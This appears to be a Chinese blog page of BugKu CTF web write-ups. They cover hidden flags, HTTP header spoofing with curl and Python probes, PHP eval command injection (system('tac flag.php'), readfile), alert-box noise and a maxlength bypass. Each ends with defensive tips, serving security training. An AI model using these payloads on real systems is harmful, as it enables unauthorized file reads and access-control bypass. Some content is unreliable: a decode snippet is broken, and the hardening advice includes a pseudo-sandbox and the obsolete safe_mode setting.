找到
7
篇与
CTF
相关的结果
-
BugKu "滑稽" Web题目解题思路与详细分析 BugKu "滑稽" Web题目解题思路与详细分析 题目概述 "滑稽"是BugKu平台上的一道经典Web安全题目，以其独特的解题方式和隐藏的线索著称。初次接触这道题目时，玩家通常会看到一个充满"😂"、"🤣"等emoji表情的页面，似乎没有任何实质性内容。 解题步骤详解 方法一：直接查看源代码（推荐） 滑稽.png图片 直接在题目地址前面加上“view-source:”就可以了 打开开发者工具： 使用快捷键F12或Ctrl+Shift+I打开浏览器开发者工具 在"Elements"或"源代码"标签页中查看完整HTML源码 查找flag： 使用Ctrl+F搜索关键词如"flag"、"key"等 通常在源代码的注释或隐藏元素中可以直接找到flag 方法二：网络请求分析 使用浏览器开发者工具的Network面板： 刷新页面记录所有请求 检查响应头和响应体中的特殊字段 查看加载的资源文件： 有时flag可能隐藏在引用的JS或CSS文件中 检查是否有异常的外部资源请求 方法三：编码分析 检查Unicode编码： 查找类似&#xXXXX;的编码 使用在线工具解码可疑编码段 Base64探测： 识别可能经过Base64编码的字符串 尝试解码页面中的特殊字符组合 题目技术原理 前端信息隐藏技术： 利用HTML注释隐藏关键信息 通过表情符号分散注意力 简单的编码混淆 考察点： 开发者工具的基本使用能力 源代码审计技巧 编码识别与解码能力 变种题目与扩展 可能的变种形式包括： 多重编码flag：flag可能经过多层编码（如Unicode+Base64） 条件触发显示：只有特定操作后才会显示关键信息 动态生成内容：通过AJAX或WebSocket动态获取flag内容 更复杂的混淆：使用JSFuck等混淆技术隐藏flag代码 防御与最佳实践 从开发角度，应该避免的安全实践： 不要在前端存储敏感信息：包括注释、隐藏域、JS变量等 不要依赖前端验证：所有关键验证应在后端进行 避免使用可逆的编码方式：如必须隐藏信息，使用强加密而非编码 总结 这道"滑稽"题目作为CTF中的基础题型，主要考察了以下技能： 基础工具使用：开发者工具的熟练运用 信息检索能力：从大量干扰信息中找出关键线索 编码识别能力：常见编码格式的识别与解码 最终答案通常直接隐藏在页面源代码中，格式为flag{...}或KEY{...}。这道题目虽然简单，但很好地展示了前端信息隐藏的基本手法和相应的解密技术。
-
BugKu "头等舱" Web题目深度解析：从解题思路到安全启示 BugKu "头等舱" Web题目深度解析：从解题思路到安全启示 题目背景与初步观察 "头等舱"是BugKu平台上的一道经典Web安全题目，主要考察HTTP协议头部信息的理解和利用能力。初次访问题目页面，通常会看到一个简单的界面，提示信息可能暗示需要"提升权限"或"寻找VIP入口"。 典型特征： 页面内容简单，无明显交互功能 题目描述暗示与HTTP头部相关 可能需要修改特定请求头才能获取flag 服务器对请求头有特殊检查逻辑 解题思路详解 第一步：常规信息收集 页面源代码分析 使用浏览器开发者工具查看HTML源码（Ctrl+U） 查找隐藏的表单、注释或JavaScript代码 特别注意<!--注释中可能包含的提示 网络请求监控 打开浏览器开发者工具的Network面板 刷新页面记录所有请求 分析请求头和响应头信息 第二步：HTTP头部分析 "头等舱"题目的核心通常在于HTTP请求头的修改尝试以下关键头部： X-Forwarded-For - 尝试伪造IP X-Forwarded-For: 127.0.0.1 User-Agent - 修改浏览器标识 User-Agent: VIPBrowser Referer - 伪造来源页面 Referer: https://admin.bugku.com Cookie - 尝试特权cookie Cookie: role=admin; vip=true 第三步：系统化头部探测 使用工具批量测试常见特权头部： curl -H "X-Client-IP: 127.0.0.1" http://题目URL curl -H "Client-IP: 127.0.0.1" http://题目URL curl -H "From: admin@bugku.com" http://题目URL curl -H "X-Admin: true" http://题目URL第四步：进阶头部组合 当单一头部无效时，尝试组合多个特权头部： curl -H "X-Forwarded-For: 127.0.0.1" -H "User-Agent: VIPBrowser" -H "Referer: https://admin.bugku.com" http://题目URL已验证的解题方法 根据题目具体实现，以下方法通常有效： 方法一：直接Burp Suite抓包 头等舱.png图片 方法二：X-Forwarded-For伪造 GET / HTTP/1.1 Host: 题目URL X-Forwarded-For: 127.0.0.1方法三：特殊User-Agent GET / HTTP/1.1 Host: 题目URL User-Agent: HeadFirstBrowser方法四：自定义特权头部 GET / HTTP/1.1 Host: 题目URL X-Access-Level: VIP自动化探测脚本 Python自动化探测脚本示例： import requests url = "http://题目URL" headers_list = [ {"X-Forwarded-For": "127.0.0.1"}, {"User-Agent": "VIPBrowser"}, {"Referer": "https://admin.bugku.com"}, {"X-Admin": "true"}, {"X-Access-Level": "VIP"}, {"Client-IP": "127.0.0.1"}, {"From": "admin@bugku.com"} ] for headers in headers_list: response = requests.get(url, headers=headers) if "flag" in response.text.lower(): print(f"成功获取flag，使用头部: {headers}") print(response.text) break技术原理深度解析 HTTP头部注入漏洞： 服务器过度信任客户端提供的头部信息 缺乏严格的头部验证机制 基于头部的访问控制设计缺陷 常见检测逻辑： if ($_SERVER['HTTP_X_FORWARDED_FOR'] == '127.0.0.1') { echo $flag; } 安全影响： 权限提升 IP欺骗 访问控制绕过 防御方案 1. 不要信任客户端提供的头部 // 不可靠的实现 if ($_SERVER['HTTP_X_ADMIN'] == 'true') { grant_admin_access(); } // 可靠的做法 if ($_SESSION['is_admin'] === true) { grant_admin_access(); }2. 严格的头部验证 $allowed_ips = ['192.168.1.100', '10.0.0.1']; $client_ip = $_SERVER['REMOTE_ADDR']; if (!in_array($client_ip, $allowed_ips)) { die('Access denied'); }3. 使用安全的认证方式 基于会话的认证 JWT令牌验证 多因素认证 CTF技巧总结 系统化测试：从常见头部开始，逐步尝试各种组合 注意大小写：有些检查对头部名称大小写敏感 查看示例：检查是否有隐藏的提示或示例请求 工具利用：使用Burp Suite等工具快速修改和重放请求 安全开发建议 最小权限原则：默认拒绝，明确允许 服务器端验证：所有安全检查应在服务器端完成 日志记录：记录异常的头部修改尝试 安全测试：定期进行安全审计和渗透测试 总结 "头等舱"题目通过一个简单的场景，展示了HTTP头部在Web安全中的重要性。通过这道题目，我们学习到： HTTP协议知识：深入理解请求头的结构和作用 安全测试方法：系统化的头部探测技术 防御理念：不要信任任何客户端提供的数据 最终flag通常以flag{...}或KEY{...}的形式出现，如flag{http_header_injection_123}。掌握这类题目的解法不仅有助于CTF比赛，更能提升实际Web应用的安全防护能力。
-
从BugKu PHP代码注入题目看eval的危险性 从BugKu PHP代码注入题目看Web安全基础 漏洞代码深度分析 让我们首先仔细分析题目提供的PHP源代码： <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?>这段代码虽然简短，却包含了几个关键安全漏洞： 不安全的动态代码执行：eval函数直接执行用户可控输入 缺乏输入验证：未对$_REQUEST['hello']做任何过滤 敏感信息暴露：show_source(__FILE__)暴露服务器端代码 漏洞利用详解 正确解法 web-eval.png图片 正如题目提示，正确的利用方式是： /?hello=system('tac flag.php')攻击原理分解： 原始代码执行：eval("var_dump($a);") 注入后变为：eval("var_dump(system('tac flag.php'));") 实际执行流程： 执行system('tac flag.php')命令 tac命令反向输出flag.php内容 var_dump输出命令执行结果 为什么这个Payload有效？ 无缝拼接：无需闭合语句或添加注释 函数嵌套：system()作为var_dump()的参数 命令执行：直接读取flag文件内容 输出显示：通过var_dump显示命令结果 漏洞利用的多种变体 除了标准解法外，还有多种等效的攻击方式： 1. 使用不同命令 /?hello=system('cat flag.php') /?hello=system('more flag.php')2. 使用PHP文件函数 /?hello=highlight_file('flag.php') /?hello=readfile('flag.php')3. 直接变量输出（如果flag.php定义变量） /?hello=$flag漏洞防御方案 1. 根本解决方案：避免使用eval // 安全替代方案：直接输出变量 var_dump($safe_value);2. 输入过滤（如果必须使用eval） $a = preg_replace('/[^a-zA-Z0-9]/', '', $_REQUEST['hello']);3. 沙箱执行 // 使用闭包限制作用域 $func = function($code) { return eval('return '.$code.';'); }; $func->bindTo(null);4. 服务器配置加固 在php.ini中： disable_functions = "exec,passthru,shell_exec,system" safe_mode = OnCTF解题技巧总结 代码审计：首先分析所有可能的执行路径 试探过滤：尝试简单payload探测防护规则 错误利用：从错误信息中获取线索 环境感知：检查phpinfo等环境信息 安全开发建议 最小权限原则：Web服务使用低权限账户 深度防御：多层次安全防护 安全编码规范：制定并执行代码安全标准 持续教育：定期进行安全培训 总结 这个BugKu题目展示了： eval的危险性：永远不要直接执行用户输入 系统命令执行：Web应用与操作系统间的危险桥梁 安全开发实践：输入验证、输出编码等基本原则 最终答案：通过/?hello=system('tac flag.php')可以最直接地获取flag内容。这个案例生动地说明了为什么在OWASP Top 10中，注入攻击长期位居榜首。
-
BugKu WEB-alert题目深度解析与解题指南 BugKu WEB-alert题目深度解析与解题指南 题目分析 根据提供的HTML代码，这是一个典型的基于JavaScript alert弹窗的CTF题目，主要特点是： 无限循环的alert弹窗（"flag就在这里"和"来找找吧"交替出现） 在HTML注释中隐藏了Unicode编码的flag 简单的页面结构，没有复杂的交互逻辑 解题步骤详解 方法一：直接HTML实体转字符 web-alert.png图片 方法二：直接查看源代码（推荐） 题目源代码： <html><head> <title>BKCTF-WEB6</title> <script language="javascript"> alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); <!-- flag{c79d5050dab6f335f464e9988c3e27e4} --></script></head></html> 阻止弹窗： 当第一个alert弹出时，勾选"阻止此页面创建更多对话框"选项 或者使用快捷键Ctrl+Shift+I打开开发者工具，在控制台输入： window.alert = function(){}; // 重写alert函数为空 查看HTML注释： 在页面最后有一个HTML注释： <!-- fla&{c79d5050dab6f335f464e9988c3e27e4} --> 这是Unicode编码的flag 解码Unicode： 使用在线工具或编写简单脚本解码 JavaScript解码方法： function decode() { const encoded = "flag{c79d5050dab6f335f464e9988c3e27e4}"; return encoded.replace(/&#(\d+);/g, (_, dec) => String.fromCharCode(dec)); } console.log(decode()); Python解码方法： encoded = "flag{c79d5050dab6f335f464e9988c3e27e4}" decoded = ''.join(chr(int(code)) for code in encoded[2:-1].split(';&#')) print(decoded) 方法三：使用浏览器开发者工具 按F12打开开发者工具 转到"Sources"标签页 查看页面HTML源代码 直接复制注释中的编码内容进行解码 方法四：编程自动化获取 Python自动化脚本示例： import requests from bs4 import BeautifulSoup import re url = "http://题目网址/" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 查找HTML注释中的Unicode编码 comment = soup.find_all(string=lambda text: isinstance(text, str) and '&#' in text) if comment: encoded = comment[0].strip() # 解码Unicode flag = ''.join(chr(int(code)) for code in re.findall(r'&#(\d+);', encoded)) print("获取到的flag:", flag) else: print("未找到flag")技术原理 Unicode编码： f表示Unicode字符'f' l表示Unicode字符'l' 这种编码方式称为HTML字符实体引用 JavaScript弹窗阻断： 浏览器允许用户阻止重复弹窗 也可以通过重写window.alert函数来阻止弹窗 信息隐藏技术： 开发者常用HTML注释隐藏信息 编码是一种基本的信息隐藏手段 题目变种与防御 可能的变种形式 多层编码：如Base64+Unicode组合编码 条件触发：只有特定操作后才显示真实flag 动态生成：通过AJAX获取flag内容 代码混淆：使用JSFuck等混淆技术 防御措施 不要在前端存储敏感信息 避免使用可逆的编码方式 重要的验证逻辑放在服务端 使用Content Security Policy(CSP) 总结 这个WEB-alert题目通过简单的弹窗干扰和HTML注释隐藏flag，考察了以下技能： 浏览器开发者工具的使用 Unicode编码的识别与解码 JavaScript弹窗的处理 HTML结构的分析 最终flag为解码后的字符串：flag{c79d5050dab6f335f464e9988c3e27e4} 通过这道题目，我们学习到了前端信息隐藏的基本手法和相应的解密技术，这对CTF比赛和实际安全审计都有重要意义。
-
BugKu WEB-计算器题目详解与解题思路 BugKu WEB-计算器题目详解与解题思路 计算器题目是BugKu平台上的一道经典WEB题目，主要考察前端限制绕过和基础HTML知识。这道题目看似简单，却蕴含着WEB安全的基础概念。本文将详细介绍这道题目的解题思路、多种解法以及相关的知识点扩展。 题目描述 题目链接通常为：http://123.206.87.240:8002/yanzhengma/（不同时期可能有变化） 题目界面显示一个简单的加法计算题，例如"59 + 72 = ?"，用户需要在输入框中填写正确答案并点击验证按钮。然而，尝试输入时会发现输入框只能输入一个数字，无法输入完整的两位数答案。 解题思路分析 1. 观察题目限制 首先尝试直接输入计算结果，会发现输入框只能接受一位数字的输入，这显然无法满足计算题的需求（因为59+72=131是三位数）。 2. 查看页面源代码 按F12打开开发者工具，查看输入框的HTML代码，会发现类似以下结构： <input type="text" class="input" maxlength="1"/>计算器1.png图片 关键点在于maxlength="1"属性，它限制了输入框只能输入1个字符。 计算器2.png图片 把maxlength="1"属性，改成了输入框能输入10个字符。 计算器3.png图片 这样就可以正常输入正确的验证码了，成功获取到flag 3. 突破前端限制 既然问题是前端限制导致的，我们可以通过修改HTML属性来突破这个限制： 在开发者工具中找到这个input元素 将maxlength="1"修改为更大的值，如maxlength="10" 然后在输入框中输入正确答案（如59+72=131） 点击验证按钮获取flag 多种解题方法 方法一：直接修改HTML属性（推荐） 打开题目页面 按F12打开开发者工具 找到输入框对应的HTML代码 修改maxlength属性值为10 输入正确答案并提交 方法二：禁用JavaScript验证 有些情况下，验证逻辑是通过JavaScript实现的，可以尝试： 在开发者工具中禁用JavaScript 然后直接输入答案提交 方法三：使用Burp Suite拦截修改 开启Burp Suite拦截功能 在页面输入任意数字并提交 在Burp中拦截请求，修改提交的参数值为正确答案 放行请求获取响应 题目考察点 这道题目主要考察以下几个知识点： 前端限制的不可靠性：前端验证可以被轻易绕过，重要的验证必须在后端进行 HTML基础属性：maxlength属性的作用与修改方法 开发者工具的使用：如何查看和修改页面元素 WEB安全基础：理解客户端与服务器端验证的区别 知识点扩展 1. 前端限制的常见形式 maxlength：限制输入长度 disabled：禁用输入 readonly：只读属性 JavaScript事件监听：如oninput, onchange等 2. 如何绕过各种前端限制 限制类型绕过方法maxlength修改HTML属性或直接发送请求disabled/readonly移除属性或使用开发者工具启用JavaScript验证禁用JS或修改验证函数输入类型限制修改type属性或拦截请求修改3. 安全开发建议 永远不要依赖前端验证作为唯一的安全措施 重要业务逻辑必须在服务器端进行验证 对用户输入进行严格的过滤和验证 使用CSRF令牌防止跨站请求伪造 常见问题解答 Q: 为什么修改了maxlength还是无法提交？ A: 可能还有其他限制，如JavaScript验证，需要一并处理 Q: 题目中的计算题会变化吗？ A: 通常固定，但不同实例可能有不同题目，需要根据实际情况计算 Q: 有没有更简单的方法不用开发者工具？ A: 可以尝试右键查看源代码，复制整个HTML到本地修改后打开 总结 BugKu的计算器题目通过一个简单的加法计算场景，巧妙地展示了前端限制的不可靠性。通过这道题目，我们学习到了： 如何查看和修改页面元素属性 前端限制的多种绕过方法 WEB安全中客户端与服务器端验证的重要性 开发者工具的基本使用技巧 这道题目虽然简单，但却是WEB安全学习的良好起点，理解这些基础概念对于后续学习更复杂的WEB安全知识至关重要。
